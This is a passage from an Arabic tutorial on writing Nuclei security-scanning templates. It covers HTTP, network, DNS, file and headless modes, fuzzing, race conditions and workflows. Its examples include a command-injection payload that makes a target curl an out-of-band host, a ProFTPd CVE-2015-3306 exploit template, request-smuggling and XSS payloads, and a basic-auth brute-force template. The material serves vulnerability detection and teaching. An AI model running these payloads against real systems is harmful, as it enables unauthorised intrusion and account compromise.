يتم تخزين رمز CSRF المميز في حقل مخفي . بمجرد تلقينا استجابة من ملف backup_db.php ، نحتاج إلى استخراج قيمة رمز CSRF العشوائي باستخدام أداة extractor ، حتى نتمكن من استخدامها في إرسال الفورم للخطوة التالية. هناك عدة أنواع من طرق الاستخراج بما في ذلك regexes واستعلام JSON و Xpath وصديقنا القديم DSL. في هذه الحالة ، سنختار regex بإضافة هذه الأسطر إلى القالب:

    extractors:
      - type: regex
        name: csrftoken
        part: body
        internal: true # Required for using dynamic variables, if not set, then values are extracted and printed to console output
        group: 1
        regex: # could also maybe use an Xpath Extractor
          - 'csrftoken" value="([a-f0-9]{10})'

في بعض الأحيان قد يكون استخدام Xpath أسهل. إذا اخترنا استخدام Xpath في هذا القالب ، فسيكون تعريف extractor كالآتي :

    extractors:
      - type: xpath
        name: csrftoken
        part: body
        internal: true
        attribute: value
        xpath:
          - '/html/body/form/p/input[2]'

نصيحة سريعة للعثور على تعبيرات XPath ، يمكنك استخدام أدوات تطوير المتصفح لعرض التسلسل الهرمي للعقد لعنصر معين. من خلال فتح أدوات المطور في المتصفح واستخدام المراقب للحصول على معلومات حول عنصر الصفحة ، يجب أن تعرض نافذة الأدوات المسار إلى العقدة المحددة. على سبيل المثال ، في Firefox ، تعرض منطقة شريط الحالة معلومات المسار للعنصر المحدد:

بمجرد استخراج رمز CSRF من الاستجابة ، يمكننا استخدامه في الطلب النهائي لاستغلال ثغرة RCE. إذا كان التطبيق مصاب بثغرة RCE ، فإن الطلب والاستجابة  لطلب POST إلى backup_db.php ستكون بالشكل التالي:

نقطة استغلال الثغرة موجودة في باراميتر backup_name لبيانات POST. نحتاج أيضًا إلى توفير رمز CSRF الصحيح (الذي استخرجناه في الخطوة السابقة) في طلب POST في الباراميتر csrftoken. بيانات طلبنا التي نحتاج إلى إضافتها إلى القالب ، في نهاية مجموعة الطلبات raw ستكون:

    - |
      POST {{Path}}/backup_db.php HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      
      backup_name=test123456&submit=Create+Backup&csrftoken={{csrftoken}}

إذا كان التطبيق مصاباً ونجح الاستغلال ، فسيتم عرض ارتباط تشعبي يحتوي على ملف النسخ الاحتياطي الذي تم إنشاؤه في استجابة HTTP التي أرجعها التطبيق. سنحتاج إلى استخدام أداة المطابقة لاكتشاف وجود الرابط وتحديد الثغرة الأمنية الحرجة. ميزة القالب المفيدة التي يمكن استخدامها هنا هي شروط الطلب.

شروط الطلب Request Conditions

تُستخدم شروط الطلب جنبًا إلى جنب مع تعبيرات DSL في المطابقات. إنها تسمح للتعبيرات المنطقية بتضمين شروط تغطي طلبات أو استجابات متعددة. لاستخدام شروط الطلب ، نحتاج إلى إضافة الخيار "req-condition: true" إلى القالب. يمكن أن تُلحق سمات الاستجابة بـ "_ <request_number>" للإشارة إلى استجابات محددة ، على سبيل المثال status_code_1 أو status_code_3 أو body_2.

بالنسبة للقالب الخاص بنا ، سوف نتحقق من الاستجابة الخامسة لوجود رابط تنزيل النسخة الاحتياطية:

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "contains(body_1,'MM Wiki Version')"
          - "contains(body_5,'downloadbackup.php?f=dbbackup-')"
        condition: and

لاحظ أنه يمكن استخدام قائمة بتعبيرات DSL المتعددة. يتم تحديد العملية المنطقية المستخدمة لتقييم التعبيرات المتعددة باستخدام الحقل "condition: <logical_operator>". في هذه الحالة ، نستخدم العملية المنطقية "and" ، وسيتم تقييم تعبيرات DSL على النحو التالي:

contains(body_1,'MM Wiki Version') && contains(body_5,'downloadbackup.php?f=dbbackup-')

كملاحظة جانبية ، كان بإمكاننا كتابة تعبير DSL كما هو موضح أعلاه ، ولكن إذا كانت هناك قائمة طويلة من النصوص لمطابقتها ، فإن استخدام مصفوفة YAML يكون أكثر قابلية للقراءة.

القالب النهائي يبدو كالتالي:

id: mmwiki-rce

info:
    name: MM Wiki DB Backup Remote Code Execution
    author: me
    severity: critical
    description: Detect MM Wiki database backup page Remote Code Execution vulnerability
    
requests:
  - raw:
    - |
      GET {{Path}} HTTP/1.1
      Host: {{Hostname}}

    - |
      POST {{Path}}/register.php HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      
      username=65aca3e27440558a&password=65aca3e27440558a

    - |
      POST {{Path}}/login.php HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      
      username=65aca3e27440558a&password=65aca3e27440558a

    - |
      GET {{Path}}/backup_db.php HTTP/1.1
      Host: {{Hostname}}

    - |
      POST {{Path}}/backup_db.php HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      
      backup_name=test123456&submit=Create+Backup&csrftoken={{csrftoken}}

    redirects: true
    cookie-reuse: true      
    extractors:
      - type: regex
        name: csrftoken
        part: body
        internal: true
        group: 1
        regex:
          - 'csrftoken" value="([a-f0-9]{10})'
    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "contains(body_1,'MM Wiki Version')"
          - "contains(body_5,'downloadbackup.php?f=dbbackup-')"
        condition: and

تفاعلات خارج النطاق Out of Band Interactions

تتمثل الطريقة الموثوقة لاختبار شيء ما مثل تنفيذ التعليمات البرمجية عن بُعد أو ثغرة SSRF في أحد التطبيقات في استخدام حمولة تسبب تفاعلًا خارج النطاق. بشكل أساسي ، هذا هو المكان الذي يتم فيه الاتصال بخدمة خارجية يمكننا مراقبتها بطريقة أو بأخرى. التفاعل الشائع الذي تستخدمه الأدوات المختلفة هو DNS أو طلب HTTP لهدف معين حيث يمكن للباحث الأمني ​​الوصول إلى وظائف logging.

سيتم تغيير طلب raw HTTP خامس في القالب إلى ما يلي:

    - |
      POST {{Path}}/backup_db.php HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      
 backup_name=test%3Bcurl+{{interactsh-url}}%3Becho+&submit=Create+Backup&csrftoken={{csrftoken}}

الحمولة التي تم إدخالها في الباراميتر المصاب بعد فك تشفير عنوان URL هي:

test;curl {{interactsh-url}};echo

سيؤدي ذلك إلى إنشاء عنوان URL تفاعلي مثل ، vyxlk2172l7dqfhn58gvy5362x8nwc.oast.fun وإضافته في الطلب قبل إرساله إلى الخادم.

سيتم تغيير المطابق إلى ما يلي:

      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

سيقوم هذا المطابق بالاستعلام عن الخادم التفاعلي والتحقق مما إذا كان قد تلقى طلب HTTP من الهدف المصاب. بصرف النظر عن تفاعل HTTP ، يمكننا استخدام DNS أو SMTP بدلاً من ذلك. يمكن العثور على مزيد من التفاصيل حول استخدام التفاعلات خارج النطاق في دليل القوالب.

فيما يلي مثال لما سيعرضه Nuclei لاكتشاف التفاعل:

أوضاع ليست HTTP

يدعم Nuclei عدة أوضاع غير HTTP للتفاعل مع المضيف المستهدف وخدماته. وهي:

الوضع	الوصف
Network	يوفر الاتصال بخدمات الشبكة باستخدام اتصالات TCP أو TLS
DNS	إرسال واستقبال اتصالات بروتوكول DNS عبر UDP
File	البحث عن الملفات داخل نظام الملفات المحلي وإجراء المطابقة واستخراج البيانات داخلها

وضع الشبكة

لتوضيح وضع الشبكة ، سننشئ قالباً لاكتشاف خدمة معينة ، سنستخدم أداة التقاط وفحص الحزم مثل wireshark لتحليل الاتصال بين العميل وخدمة الشبكة حتى نتمكن من فهم الطلبات والاستجابات المتوقعة.

على سبيل المثال ، لبدء الاتصال بالخدمة ، يرسل العميل دائمًا البيانات الثنائية التالية (البيانات المميزة باللون الأزرق هي ما نريده ؛ فهي حمولة TCP الفعلية والبايتات السابقة هي فريم إيثرنت ومعلومات TCP التي يمكننا تجاهلها) :

يتطلب بروتوكول الشبكة أن تستجيب الخدمة لهيكل بيانات يبدأ دائمًا بالتسلسل نفسه المكون من 14 بايت والذي يبدأ بـ 0xE5 0x15 0xE2:

يمكننا كتابة قالب يستخدم وضع الشبكة لاكتشاف ما إذا كانت هذه الخدمة تعمل على الهدف.

الأقسام الرئيسية لقالب الشبكة هي:

• معرف القالب
• معلومات القالب 
• بيانات الشبكة
• المضيف
• ادخال البيانات
• قراءة الطول
• المطابقات لاستجابة المضيف

يمكن اكتشاف الخدمة الخاصة بنا باستخدام القالب التالي:

id: jnexcomm-detect

info:
  name: JNEXComm Service Detection
  author: me
  severity: info

network:
  - inputs:
      - data: "{{hex_decode('9c05f72b9e4b967b434f4e4e0a0a0a')}}"
    host:
      - "{{Host}}:6101"
      - "{{Host}}:6102"
      - "{{Host}}:6103"

    read-size: 14
    matchers:
      - type: word
        words:
          - "{{hex_decode('e515e23230fff7bef6019cc7c1c1')}}"

لتشغيل هذا القالب على هدف معين ، قد يبدو سطر الأوامر مشابهًا لما يلي:

nuclei -u 10.20.30.40 -t jnexcomm-detect.yaml

دعنا نفحص كل حقل من حقول بيانات الشبكة الرئيسية في القالب.

المدخلات inputs

يخبر حقل المدخلات Nuclei بالبيانات التي يجب إرسالها إلى الخدمة البعيدة. يمكن التعبير عن البيانات كقيمة نصية بسيطة مثل HELLO\r\n ، أو يمكن استخدام العديد من الوظائف المساعدة لبناء الطلب حيث يتم إرسال بيانات أكثر تعقيدًا. في هذه الحالة ، يتم توفير البيانات كقيم سداسية عشرية وفك تشفيرها إلى مكافئها الثنائي باستخدام الدالة المساعدة ()hex_decode.

المضيف host

يجب أن يستخدم حقل المضيف عادةً المتغير {{Host}} أو {{Hostname}} فقط. يتم توضيح الاختلاف من خلال المثال التالي. إذا حدد المستخدم الهدف مثل هذا:

nuclei -u 10.20.30.40:8080

{{Host}} سيتم تعيين القيمة "10.20.30.40"

{{Hostname}} سيتم تعيين القيمة "10.20.30.40:8080"

يمكن أن يحدد قالب الشبكة اختياريًا منفذ TCP الذي من المتوقع أن يتم العثور على الخدمة فيه ، كما هو الحال في المثال الموضح أعلاه حيث نحاول الاتصال بالمنافذ 6101-6103. إذا حددنا منافذ في القالب، فسنحتاج إلى استخدام {{host}}. بدون تشفير أرقام منافذ TCP في القالب ، سيتعين علينا استخدام {{Hostname}} وسيُطلب من المستخدم توفير المنفذ كجزء من مواصفات المضيف الهدف في سطر الأوامر أو في ملف قائمة الاهداف. فمثلا:

nuclei -t jnexcomm-detect.yaml -u 10.12.34.56:6101

إذا كانت الخدمة تستخدم أمان النقل TLS ، فيمكن تحديده باستخدام خيار //:tls  مثل المثال التالي:

host:
  - "tls://{{Hostname}}"

قراءة الحجم read-size

يجب أن يحدد حقل حجم القراءة عدد وحدات البايت المراد قراءتها من استجابة الخدمة البعيدة ليقوم المطابق بتحليلها. في هذه الحالة ، نحتاج فقط إلى التحقق من أول 14 بايت من الاستجابة للخدمة.

المطابقات matchers

سيتم تشغيل المطابقات مقابل وحدات البايت التي تمت قراءتها من الخدمة ، وتكون أنواع المطابق هي نفسها تلك التي يتم تناولها في وضع طلب HTTP. في هذه الحالة ، نستخدم مُطابِق نصي (كلمة) ، مثل حقل input، يستخدم دالة مساعدة حتى نتمكن من الحصول على توقيع استجابة الخدمة المتوقعة بصيغة سداسي عشري.

تفاعلات متعددة الخطوات

مثل وضع HTTP ، يمكن أن يستخدم وضع الشبكة اتصالات متعددة الخطوات ضد الخدمة المستهدفة. مثال على قالب شبكة متعدد الخطوات هو استغلال CVE-2015-3306

id: CVE-2015-3306

info:
  name: ProFTPd RCE
  author: pd-team
  severity: high
  reference: https://github.com/t0kx/exploit-CVE-2015-3306
  tags: cve,cve2015,ftp,rce

network:
  - inputs:
      - data: "site cpfr /proc/self/cmdline\r\n"
        read: 1024
      - data: "site cpto /tmp/.{{randstr}}\r\n"
        read: 1024
      - data: "site cpfr /tmp/.{{randstr}}\r\n"
        read: 1024
      - data: "site cpto /var/www/html/{{randstr}}\r\n"
    host:
      - "{{Hostname}}"
    read-size: 1024
    matchers:
      - type: word
        words:
          - "Copy successful" 

وضع DNS

يسمح هذا الوضع بإنشاء طلبات DNS وإرسالها إلى خوادم الأسماء. يمكن استخدام ميزات المطابقة والاستخراج الخاصة بـ Nuclei لمعالجة وتحليل استجابات الخادم. مثال يوضح المكونات الرئيسية لقالب وضع DNS هو:

id: dummy-cname-a

info:
  name: Dummy A dns request
  author: mzack9999
  severity: none
  description: Checks if CNAME and A record is returned.

dns:
  - name: "{{FQDN}}"
    type: A
    class: inet
    recursion: true
    retries: 3
    matchers:
      - type: word
        words:
          # The response must contain a CNAME record
          - "IN\tCNAME"
          # and also at least 1 A record
          - "IN\tA"
        condition: and

يتم إرسال استعلامات DNS عبر وحدات التحليل التي تم تكوين النظام أو Nuclei لاستخدامها. يتم تلخيص الحقول الرئيسية في بيانات DNS أدناه.

اسم name

اسم الدومين أو الدومين الفرعي الذي سيتم استخدامه في استعلام DNS. عادةً ما يتم تحديد ذلك باستخدام المتغير {{FQDN}} ، على سبيل المثال الأمر:

nuclei -t dns/caa-fingerprint.yaml -u mytargetdomain.com

سيؤدي إلى تعيين المتغير {{FQDN}} إلى mytargetdomain.com

النوع type

نوع سجل DNS المطلوب في الاستعلام. بعض الأنواع الشائعة هي A و AAAA و TXT و MX و CNAME و PTR

الكلاس class

أنواع الكلاسات الصالحة هي inet و csnet و chaos و hesiod  و none و any. عادة ، سيكون هذا الخيار inet.

الـ recursion

هذا الخيار يخبر الاداة عما إذا كان يجب على محلل DNS عرض النتائج المخزنة مؤقتًا فقط ، أو اجتياز التسلسل الهرمي لخادم DNS لاسترداد أحدث النتائج. عادةً ما نترك هذا الخيار مضبوطًا على "true".

خيار الـ retries

عدد المحاولات التي سيُجرب بها الاستعلام قبل أن يستسلم . القيمة المعقولة هي 3.

المطابقات matchers

سيتم تشغيل المطابقات مقابل وحدات البايت التي تمت قراءتها من الخدمة ، وتكون أنواع المطابق هي نفسها تلك التي يتم تناولها في وضع طلب HTTP. في هذه الحالة ، نستخدم مُطابِق نصي (word) بسيط وشرط AND المنطقي لضمان مطابقة كلا المصطلحين في الاستجابة.

وضع الملف File Mode

يعمل مع الملفات الموجودة في نظام الملفات المحلي ويسمح بالعثور على الملفات داخل تسلسل هرمي للمجلدات بناءً على أنماط البحث ؛ ومطابقة واستخراج البيانات:

يوضح قالب ملف يستخرج مفاتيح Google API من الملفات:

id: google-api-key

info:
  name: Google API Key
  author: pdteam
  severity: info

file:
  - extensions:
      - all
      - txt

    extractors:
      - type: regex
        name: google-api-key
        regex:
          - "AIza[0-9A-Za-z\\-_]{35}"

لتشغيل قالب في وضع ملف على مجلد معين ، سيبدو سطر الأوامر مشابهًا لما يلي:

nuclei -u /path/to/folder/containing/subject/files/ -t google-api-key.yaml

الحقول الرئيسية في قالب الملف هي.

امتداد الملف extensions

يجب توفير قائمة بامتدادات الملفات المراد معالجتها في القالب. الامتداد "all" هو في الأساس يطابق جميع الامتدادات باستثناء تلك الموجود في قائمة denylist الاختيارية. مثال على قائمة denylist:

extensions:
  - all

denylist:
  - go
  - py
  - txt

حقل extractors

يدعم وضع الملف فقط ادوات الاستخراج word  و regex. وتعمل هذه الخيارات بنفس الطريقة التي تمت تغطيتها في الأوضاع السابقة (اقصد DNS و HTTP).

المطابقات matchers

ايمكن استخدام المطابقات في وضع الملف. مثل أدوات الاستخراج ، يمكن استخدام أنواع word وregex  فقط.

وضع Headless

يحتوي Nuclei على وضع headless ، والذي يستخدم المتصفح للتفاعل مع صفحات الويب. يتم برمجة محرك المتصفح headless  باستخدام لغة خاصة بالدومين (DSL) ويسمح بأتمتة إجراءات المستخدم النموذجية مثل النقر بزر الماوس الأيمن/الأيسر على عناصر الصفحة ، أو حقن ضغطات المفاتيح والنص في الفورم. يمكن أيضًا برمجة المتصفح لأخذ لقطات شاشة وتشغيل JavaScript عشوائي في سياق الصفحة.

قد يكون وضع headless مفيدًا في بعض سيناريوهات تقييم الأمان.

تعد قوالب الوضع headless في Nuclei أداوات مفيدة لاختبارات الأمان الديناميكي المؤتمتة في  CI/CD. يمكن أن تركز الاختبارات الديناميكية على أشياء مثل منطق الأعمال ونقاط الضعف من جانب العميل مثل XSS أو عمليات إعادة التوجيه.

قد يستخدم تطبيق الويب مزيجًا من طلبات HTTP و WebSockets ، والتي قد تكون معقدة جدًا لكتابة قوالب لها. قد يؤدي استخدام متصفح headless إلى تبسيط الامر.

قد يعتمد التطبيق الهدف بشكل كبير على كود JavaScript مخصص للواجهة الرسومية. والمكتبات قد تكون مصابة بثغرات Object Prototype Pollution أو DOM-based Cross-Site Scripting (XSS). على الرغم من وجود العديد من الأدوات المتاحة لتعداد وفحص المكتبات المصابة استنادًا إلى أرقام الاصدار ، ولكن في وضع headless يمكننا التاكد فعلاً أن المكتبة مصابة.

يمكن أن يكون التحليل الثابت لسكربتات الجافا معقدًا للغاية ، لذا فإن الاختبار الديناميكي الآلي في وضع headless لواجهة مستخدم التطبيق هي طريقة جيدة.

يمكننا استخدام إجراء حقن السكربت في الوضع headless لإدخال جافا سكربت مخصص في الصفحة. يمكن للسكربت ضخ حمولات في مصادر البيانات أو في الباراميتر ، ثم يمكننا اكتشاف ما إذا كانت حمولتنا قد نتج عنها ظهور رسالة ()window.alert أو Eval أو document.write.

في الاسفل عينة لوضع headless . يقوم القالب باختبار ثغرة XSS من نوع DOM عبر خاصية window.name.

يتركز منطق الاختبار في JavaScript المخصص الذي يتم حقنه في الصفحة. يمكن أن يتم حقن السكربت في الوضع headless قبل تحميل الصفحة باستخدام الخيار "hook: true" ، كما هو الحال في هذا المثال.

يربط النص البرمجي ببعض الأحواض المضمنة مثل خصائص innerHTML  ، و document.write و Eval ويحمل الصفحة بإجراء التنقل ، ثم يضخ حمولة "{{randstr_1}} في خاصية window.name للصفحة الهدف باستخدام سكربت آخر.

يسمح لنا وضع headless باستخدام المطابق matcher أو المستخرج extractor لفحص قيمة كائن JavaScript. يجب تسمية مقتطف كود JavaScript الذي يحتوي على الكائن باستخدام حقل الاسم (على سبيل المثال "الاسم: some_js_code") ويمكن الرجوع إليه باستخدام حقل part من extractor (على سبيل المثال ، "part: some_js_code"). في المثال ، يتم تضمين خاصية "window.alerts" في سكربت يسمى "alerts" ، ويُشار إليها في المطابق والمستخرج باسم "part: alerts".

id: window-name-domxss

info:
  name: window.name DOM XSS
  author: pd-team
  severity: medium

headless:
  - steps:
      - action: setheader
        args:
          part: response
          key: Content-Security-Policy
          value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
      - action: script
        args:
          hook: true
          code: |
            (function() {window.alerts = [];

            function logger(found) {
                window.alerts.push(found);
            }

            function getStackTrace () {
              var stack;
              try {
                throw new Error('');
              }
              catch (error) {
                stack = error.stack || '';
              }
              stack = stack.split('\n').map(function (line) { return line.trim(); });
              return stack.splice(stack[0] == 'Error' ? 2 : 1);
            }
            window.name = "{{randstr_1}}'\"<>";

            var oldEval = eval;
            var oldDocumentWrite = document.write;
            var setter = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML').set;
            Object.defineProperty(Element.prototype, 'innerHTML', {
              set: function innerHTML_Setter(val) {
                if (val.includes("{{randstr_1}}'\"<>")) {
                  logger({sink: 'innerHTML', source: 'window.name', code: val, stack: getStackTrace()});
                }
                return setter.call(this, val)
              }
            });
            eval = function(data) {
              if (data.includes("{{randstr_1}}'\"<>")) {
                logger({sink: 'eval' ,source: 'window.name', code: data, stack: getStackTrace()});
              }
              return oldEval.apply(this, arguments);
            };
            document.write = function(data) {
              if (data.includes("{{randstr_1}}'\"<>")) {
                logger({sink: 'document.write' ,source: 'window.name', code: data, stack: getStackTrace()});
              }
              return oldEval.apply(this, arguments);
            };
            })();
      - args:
          url: "{{BaseURL}}"
        action: navigate
      - action: waitload
      - action: script
        name: alerts
        args:
          code: "window.alerts"
    matchers:
      - type: word
        part: alerts
        words:
          - "sink:"
    extractors:
      - type: kval
        part: alerts
        kval:
          - alerts

توفر قوالب وضع headless العديد من الإجراءات لبرمجة محرك المتصفح. على الرغم من أننا لن نصفهم جميعًا هنا ، إلا أن بعضًا منها شائعة الاستخدام وهي التنقل والنقر وإرسال الرسائل النصية  والضغط على المفاتيح. يمكن العثور على القائمة الكاملة للإجراءات في دليل القوالب الرسمي.

لتوضيح بعض الإجراءات الشائعة ، دعونا نعيد صياغة قالب MM Wiki RCE الخاص بنا لاستخدام الوضع headless.

يتم وضع بيانات القالب الرئيسي تحت حقل "headless". يجب أن يحتوي هذا على "خطوات" (مجموعة من الإجراءات) و "المطابقات" و "المستخلصات".

يتطلب كل إجراء باراميترز، مثل عنوان URL لإجراءات التنقل ، أو قيمة نصية للإجراءات النصية. تتطلب العديد من الإجراءات الأكثر شيوعًا محددًا لتحديد عنصر DOM الذي ينطبق عليه الإجراء ، على سبيل المثال عناصر <input> أو <button>. يوفر محرك القوالب headless عددًا قليلاً من أنواع المحددات بما في ذلك محددات XPath أو regex أو CSS. في القالب، نستخدم محددات XPath لربط إجراءات النقر والنص بعناصر الفورم المناسبة.

تم تحويل قالب MM Wiki RCE الخاص بنا لاستخدام وضع headless بينما تبدو الإجراءات كالتالي:

id: mmwiki-rce-headless
 
info:
  name: MMWiki RCE Headless Mode
  author: me
  severity: critical
 
headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}/register.php"
      - action: waitload
      - action: text
        args:
          by: xpath
          value: 65aca3e27440558a
          xpath: /html/body/div/form/div/input[1]
      - action: text
        args:
          by: xpath
          value: 65aca3e27440558a
          xpath: /html/body/div/form/div/input[2]
      - action: click
        args:
          by: xpath
          xpath: /html/body/div/form/div/button
      - action: waitload
      - action: navigate
        args:
          url: "{{BaseURL}}/index.php"
      - action: waitload
      - action: text
        args:
          by: xpath
          value: 65aca3e27440558a
          xpath: /html/body/div/form/div/input[1]
      - action: text
        args:
          by: xpath
          value: 65aca3e27440558a
          xpath: /html/body/div/form/div/input[2]
      - action: click
        args:
          by: xpath
          xpath: /html/body/div/form/div/button[1]
      - action: waitload
      - action: navigate
        args:
          url: "{{BaseURL}}/backup_db.php"
      - action: waitload
      - action: text
        args:
          by: xpath
          value: "test;curl {{interactsh-url}};echo "
          xpath: /html/body/form/input[1]
      - action: click
        args:
          by: xpath
          xpath: /html/body/form/p/input[1]
      - action: waitload
 
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction 
        words:
          - "http"

يجب تشغيل القالب باستخدام الخيار headless على CLI كالآتي:

nuclei -u https://10.20.30.40 -t mmwiki-rce-headless.yaml -headless

من المهم أن تتذكر استخدام الخيارheadless- ، والا ستستمر الاداة في تشغيل القالب وربما لن تحصل على أي نتائج.

Advanced Fuzzing

لقد تطرقنا إلى بعض طرق الـ fuzz الأساسية للتطبيقات في وضع HTTP سابقًا. تدعم قوالب Nuclei بعض الميزات الأكثر تقدمًا . سنحصل على نظرة عامة عنها هنا.

هذه الميزات هي:

• الطلبات غير الآمنة Unsafe Requests
• خطوط الأنابيب Pipelining
• تجميع الاتصال Connection Pooling
• شروط السباق Race Conditions

الطلبات غير الآمنة Unsafe Requests

تدعم Nuclei طلبات HTTP المشوهة عبر مكتبة rawhttp ، والتي يمكن استخدامها لاختبار مشكلات مثل تهريب الطلب request smuggling. لاستخدام وضع HTTP غير الآمن ، يجب تعيين الخيار unsafe: true في حقل الطلب. يوضح مثال request smuggling الآتي طلبًا غير آمن:

requests:
  - raw:
    - |+
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 150
        Transfer-Encoding: chunked

        0

        GET /post?postId=5 HTTP/1.1
        User-Agent: a"/><script>alert(1)</script>
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 5

        x=1
    - |+
        GET /post?postId=5 HTTP/1.1
        Host: {{Hostname}}

    unsafe: true # Enables rawhttp client
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<script>alert(1)</script>")'

خطوط الأنابيب

إن خطوط أنابيب HTTP هي إحدى ميزات بروتوكول HTTP (منذ الإصدار 1.1) التي تسمح بإرسال طلبات متعددة عبر نفس اتصال TCP دون انتظار كل استجابة على حدى. يختلف هذا عن إعادة استخدام الاتصال ، حيث على الرغم من استخدام نفس اتصال TCP لطلبات متعددة ، ينتظر العميل استجابة الخادم قبل إجراء الطلب التالي. تعمل خطوط الأنابيب على تحسين زمن انتقال الشبكة وعرض النطاق الترددي عند جلب الموارد من خادم الويب.

يقارن هذا الرسم البياني من وثائق مطوري Mozilla بشكل مرئي زمن الانتقال بين اتصال HTTP القياسي وإعادة استخدام الاتصال وتسيير الأنابيب:

المصدر: https://developer.mozilla.org/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x/http1_x_connections.png

يوفر Nuclei خطوط أنابيب HTTP في القوالب ، ولكن يجب أن يدعم المضيف الهدف هذه الخاصية. إذا كان المضيف لا يدعم خطوط الأنابيب ، فسيعود المحرك إلى طلبات HTTP القياسية. لتأكيد ما إذا كان الهدف يدعم HTTP Pipelining أم لا ، يمكنك استخدام داة httpx، مع خيار pipeline- لاختبار ما اذا كان الهدف يدعم هذه الخاصية.

يجب تضمين الخيارات الآتية في القالب:

    unsafe: true
    pipeline: true
    pipeline-concurrent-connections: 40
    pipeline-requests-per-connection: 25000

مثال على قالب يستخدم خطوط الأنابيب :

id: pipeline-testing
info:
  name: pipeline testing
  author: pdteam
  severity: info
 
requests:
  - raw:
      - |+
        GET /{{path}} HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}
 
    attack: batteringram
    payloads:
      path: path_wordlist.txt
 
    unsafe: true
    pipeline: true
    pipeline-concurrent-connections: 40
    pipeline-requests-per-connection: 25000
 
    matchers:
      - type: status
        part: header
        status:
          - 200

تجميع الاتصال Connection Pooling

تدعم الاداة threads متعددة تعيد استخدام نفس اتصال TCP لإجراء فحص أو fuzz أسرع. احذر من استخدام "Connection: close" في هيدر أي طلبات ، وإلا فإن Nuclei سيعود إلى طلبات HTTP القياسية. لاستخدام تجميع الاتصالات ، اضبط خيار "threads: int" في قالب وضع HTTP مع عدد ثريد العمليات المطلوبة. يوضح قالب HTTP basic auth brute-force أدناه كيفية استخدام تجميع الاتصالات مع 40 ثريد:

id: fuzzing-example
info:
  name: Connection pooling example
  author: pdteam
  severity: info
 
requests:
  - raw:
      - |
        GET /protected HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64('admin:§password§')}}
 
    attack: batteringram
    payloads:
      password: password.txt
    threads: 40
 
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Unique string"
        part: body

الـ Race Conditions

وهي فئة من الأخطاء تركز على سلوكيات التطبيق الشاذة التي تنتج عن تقديم العديد من الطلبات التي تتضمن الوصول إلى مورد مشترك ، والتي تصل في وقت واحد تقريبًا. قد يكون من الصعب جدًا اختبار Race Condition باستخدام أدوات الفحص الشائعة.

عادةً ما تستخدم الأدوات التي توفر هذه الميزات لاختبار Race Condition تقنية تسمى gating ، حيث يتم إرسال وحدات البايت لطلبات متعددة في وقت واحد ، مطروحًا منها البايت الأخير ، والذي يتم إرساله في نفس الوقت لجميع الطلبات. يقوم هذا بمزامنة الطلبات المتعددة للوصول بأقرب وقت ممكن. هذه هي التقنية التي تستخدمها اداة Nuclei في وضع Race Condition.

لتمكين فحص Race Condition داخل قالب ، اضبط الخيار "race: true" وقيمة Race_count على عدد الطلبات المتزامنة لإرسالها.

هذا مثال لقالب Race Condition الذي يرسل 10 مرات من نفس الطلب في وقت واحد إلى الهدف.

id: race-condition-testing
 
info:
  name: Race condition testing
  author: pdteam
  severity: info
 
requests:
  - raw:
      - |
        POST /coupons HTTP/1.1
        Host: {{Hostname}}
 
        promo_code=20OFF        
 
    race: true
    race_count: 10
 
    matchers:
      - type: status
        part: header
        status:
          - 200

على سبيل المثال ، إذا كانت قسيمة الخصم مقتصرة على 5 استخدامات ، فيمكنك تشغيل القالب ضد الهدف وحساب عدد الردود المتطابقة ، والتحقق مما إذا كانت تجاوزت 5 استخدامات ولها رمز الحالة 200. إذا كان هناك أكثر من 5 ، فهذا يشير إلى وجود ثغرة Race Condition موجودة في التطبيق. توضح لقطة الشاشة أدناه أن جميع الطلبات العشرة أسفرت عن كود 200.

تدفق العمل Workflows

في وقت سابق ، عرفنا في كيف يمكن لخيارات تصفية القوالب أن تسمح لنا بإجراء عمليات فحص أكثر ذكاءً واستهدافًا بدلاً من تشغيل كل القوالب تقريبًا على الهدف. تتميز تدفقات عمل Nuclei بناءً على هذا المفهوم من خلال توفير طريقة متسقة وقابلة للتكرار لتحديد تدفقات الفحص المتسلسلة باستخدام ملفات YAML. عادةً ما تستخدم مهام تدفق العمل المنطق الشرطي لإجراء فحص على الهدف وبناءً على النتيجة ، نحدد ما إذا كنا نريد تشغيل القوالب أم لا.

على سبيل المثال ، يمكن معرفة نوع خدمة معينة باستخدام قالب يكتشف الفريم ورك المستخدم. إذا تم اكتشاف WordPress ، فسيتم تشغيل قوالب WordPress. ينتج عن هذا حركة مرور أقل ونتائج أسرع.

يمكن أن تكون مهام سير العمل عامة (بسيطة) أو مشروطة. تحدد مهام سير العمل العامة سلسلة من القوالب للتشغيل. مثال على ذلك:

# mandatory template info goes up here (id, name etc)
# workflow definition:
workflows:
  - template: files/git-config.yaml
  - template: files/svn-config.yaml
  - template: files/env-file.yaml
  - template: cves/2022/
  - tags: xss,ssrf,cve,lfi

لاحظ أن القالب لا يقوم بأي تعداد أو محاولة معرفة نوع الخدمات ، بل يقوم بتشغيل السكربتات المحددة بشكل أعمى. قد يكون هذا الاسلوب مفيد في حال كان لدينا معرفة اولية حول الخدمات الموجودة ونريد توفير الوقت عن طريق تخطي عمليات الاستعلام عن نوع الخدمات.

جوهر تدفق العمل الشرطي هو:

• تشغيل قالب لاكتشاف نوع الخدمات
• تشغيل قوالب أخرى بناءً على نتائج الفحص الاولي

